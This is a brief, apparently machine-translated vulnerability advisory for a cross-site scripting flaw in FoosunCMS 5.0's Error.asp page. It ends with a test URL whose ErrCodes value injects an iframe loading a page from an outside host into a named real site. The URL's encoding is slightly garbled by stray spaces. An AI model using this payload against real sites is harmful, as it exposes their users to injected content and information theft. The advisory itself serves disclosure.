Fengxun (FoosunCMS) 5.0 Error. asp Error Page Cross-Site Scripting Vulnerability (figure)

FoosunCMS is a powerful Content Management Software Based on ASP + ACCESS/MSSQL architecture. It is the first open-source, modular CMS site building system integrating web2.0 elements in China.
FoosunCMS does not properly filter user input. Remote attackers can exploit this vulnerability to perform cross-site scripting and obtain sensitive information.
Due to incorrect processing of error pages, malicious script code can be executed on the target browser after being returned to the user, resulting in sensitive information leakage.

 

Test Url

Asp? ErrCodes = % 3 Ciframe % 20src = http://dgyifeng.net/swf/qing.html%3E&ErrorUrl=http://www.freecms2008.cn/foosun500/ "> http://www.freecms2008.cn/Foosun500/User/lib/Error.asp? ErrCodes = % 3 Ciframe % 20src = http://dgyifeng.net/swf/qing.html%3E&ErrorUrl=http://www.freecms2008.cn/foosun500/